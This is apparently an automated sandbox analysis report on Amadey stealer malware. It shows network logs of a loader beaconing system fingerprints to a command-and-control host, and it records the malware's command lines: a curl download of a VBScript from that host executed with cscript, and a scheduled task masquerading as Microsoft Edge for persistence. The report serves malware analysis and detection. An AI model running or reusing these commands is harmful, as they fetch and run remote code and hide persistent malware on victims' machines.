2024-09-27 15:43:01 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NTLuE6%2Br48TgeZDDHxl6lEyT17CDn1YYuz18ISEQGqeWoFyRvv4hAr5jB1M5If%2FILyGjl%2FDG6c2J8t5U8aAB5AQG8sTCQGx9xNuP4fBXwl%2B1TN9r3LMujO3cPwYVwpAhsNTjX9QJ%2Bw0j"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b5e0e00176c-EWR
2024-09-27 15:43:01 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49855	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:00 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:01 UTC	626	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VN5bMyZqnZFrkD9McMBQEKCm3wALoUnmv2uClHQXG7i4ABS0kQ1bxU%2F3L4LmxmqUvbrT%2FKnIHQfqFm5e9OBS44x4wK86rl2ik5qEFUbDM%2Bs1KB9tTaF3ZOGGam2Cp7vt3KPdsernf%2F%2Fy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b5f3f626a59-EWR
2024-09-27 15:43:01 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49857	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:01 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:02 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=th9qGDgv5moFGoUnhoW0ns%2BCxSeOJH5iukcHSzGFDZL7UNe3o3jUSx91f%2FyL90hc8BLhltW%2BchhF8rynvZKH8W61ZvZgdYOOlaHNpWxhKrfL65Vf4nsOgVR51jQjot97UrhO0o9fdf0m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b6579d24308-EWR
2024-09-27 15:43:02 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49859	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:02 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:02 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ANWgBTK%2B0ZVo8htKMCMMlIyN9rvQQTChrKUwQVJM70uzUF%2BCOY5qKhAygOYvvDCnyTF7JNMSexzHJV2RDMbhpndW8cAHxzDkPUIIrzCcCVxWL1Fx7so9nY1oJviOHohBrRFO0%2FHQpuha"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b66a9ab8c93-EWR
2024-09-27 15:43:02 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49861	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:03 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:03 UTC	622	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uzfFWyldnP5FEjjBYpuk%2B4a%2FV1bhwJABHYf40etqUkt2HwPDqlNBL70BfOEgFF9lTEGGVEmNd6pbKbJW94UcJdVe%2FnPodcU7aobmzRn06mq4Fxr7fNl0TexYxrHofnJSuuNyDQ61eK0k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b6edbf34316-EWR
2024-09-27 15:43:03 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49862	172.67.187.100	443	7636	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:03 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:03 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Nc6VSoEsGz0rdET6pCB0tRR480GIB8yj8Bh8KLuQCcIdkFAfvB6zm8sJ6ip5UnVlDILnjevKsleEuT9GE2soUyO1EiCk1YPWiYad9eMoHmcFE%2FVSFc3psbB55J0Y%2BA6nmQvXnFwS6NjF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b6fbde943c4-EWR
2024-09-27 15:43:03 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49864	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:04 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:05 UTC	624	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:05 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FRLFxNHpcH8yWa3FyttQicVrwH4VBRujvlMh%2FP7dqgC4PwjvsOhTsYVP6GTatafSQoBwmEJf7wB3WY4Q7O1UZ0WkDWJMgYeOXITtOJTdGEs7UrjPD%2FjZ3%2BXhV8EqzTSJxkC6Ce23OWRL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b77ef3c436d-EWR
2024-09-27 15:43:05 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49867	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:06 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:06 UTC	654	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lxJHbmvHj5%2F0%2BLWf2bzpwPthlqL8yuaqB%2FbFJJhZN2s7Xm31mZHhJcWmvkWbiJTYD7dBY7o2C5XyeqfVKsg0TZeY78gPbDpsaPZ%2BchBQkMKVlYmOddaIanmb2Do3bxLQYEzJYGgJljy6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b7f4d6619df-EWR alt-svc: h3=":443"; ma=86400
2024-09-27 15:43:06 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49869	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:07 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:08 UTC	620	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:07 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2jvnQOmQxH5XTAZZlEN%2BF7ckDkUcjXDIzUwcPGIsadXpoKZzOm6K9vOXXQniqsZaDJAYKCvJ5wgO%2BU8mXN7xEhINWBRcSu6VH4iKKRHazGrnm0yGQea6m8erRgxs3bqpXj9LCfv1rrDm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b891fad0ce5-EWR
2024-09-27 15:43:08 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49872	172.67.187.100	443	1748	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 15:43:08 UTC	621	OUT	POST /iloverussia.php?token=ewogICJjcHVDb3JlcyI6ICI0IiwKICAidG90YWxNZW1vcnkiOiAiODE5MSBNQiIsCiAgInBsYXRmb3JtIjogIldpbmRvd3MiLAogICJhcmNoIjogIng2NCIsCiAgIm1vZGVsIjogIjYyMTM2NSIsCiAgIm9zVmVyc2lvbiI6ICJNaWNyb3NvZnQgV2luZG93cyAxMCIsCiAgInByb2Nlc3Nvck5hbWUiOiAiSW50ZWwoUikgQ29yZShUTSkyIENQVSA2NjAwIEAgMi40MCBHSHoiLAogICJzeXN0ZW1Nb2RlbCI6ICJ2bGJsZXgyMCwxIiwKICAiY29uZmlndXJhdGlvbiI6ICIxIiwKICAiZmlsZW5hbWUiOiAiTWljcm9zb2Z0LUVkZ2UuZXhlIiwKICAiYWRtaW4iOiAidHJ1ZSIsCiAgInRva2VuIjogIjU4Nzk0NjU5MTQiCn0= HTTP/1.1 Connection: Keep-Alive User-Agent: A WinHTTP Example Program/1.0 Content-Length: 0 Host: eijfrhegrtbrfcd.online
2024-09-27 15:43:09 UTC	652	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 15:43:09 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-powered-by: PHP/8.0.30 strict-transport-security: max-age=31536000; CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5LKcGcWPzx71kOddX4nye746q25%2F3rzVEi4tTLkE74PaO5yJz8rFk0pgW%2B7kB5T0ydNEtyMM2o9lvuB2AtVC0k%2FjVllTDnX3CzbMjumFSnHaJJW90jEoJy9oYXgvy1Xvoi9cM1HdMWC9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c9c9b90b992434b-EWR alt-svc: h3=":443"; ma=86400
2024-09-27 15:43:09 UTC	7	IN	Data Raw: 32 0d 0a 0a 0a 0d 0a Data Ascii: 2
2024-09-27 15:43:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	11:41:02
Start date:	27/09/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x960000
File size:	1'862'656 bytes
MD5 hash:	DC730EEA0EBA910485703A74D173F8E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1763005271.0000000000961000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1722139585.0000000004AA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:41:04
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Imagebase:	0xc20000
File size:	1'862'656 bytes
MD5 hash:	DC730EEA0EBA910485703A74D173F8E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1746285062.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1789584314.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:41:04
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0xc20000
File size:	1'862'656 bytes
MD5 hash:	DC730EEA0EBA910485703A74D173F8E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1749088265.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1789363065.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:42:00
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Imagebase:	0xc20000
File size:	1'862'656 bytes
MD5 hash:	DC730EEA0EBA910485703A74D173F8E2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2302324520.0000000004CD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.3020960898.0000000000C21000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	11:42:03
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe"
Imagebase:	0x400000
File size:	435'820 bytes
MD5 hash:	7DF3608AE8EA69762C71DA1C05F0C043
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	11:42:05
Start date:	27/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs
Imagebase:	0x7ff7067d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:42:05
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:42:05
Start date:	27/09/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php
Imagebase:	0x7ff646080000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:42:06
Start date:	27/09/2024
Path:	C:\Windows\System32\cscript.exe
Wow64 process (32bit):	false
Commandline:	cscript conf.vbs
Imagebase:	0x7ff7d3810000
File size:	161'280 bytes
MD5 hash:	24590BF74BBBBFD7D7AC070F4E3C44FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:42:06
Start date:	27/09/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:42:06
Start date:	27/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:42:07
Start date:	27/09/2024
Path:	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe
Imagebase:	0x400000
File size:	435'820 bytes
MD5 hash:	7DF3608AE8EA69762C71DA1C05F0C043
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
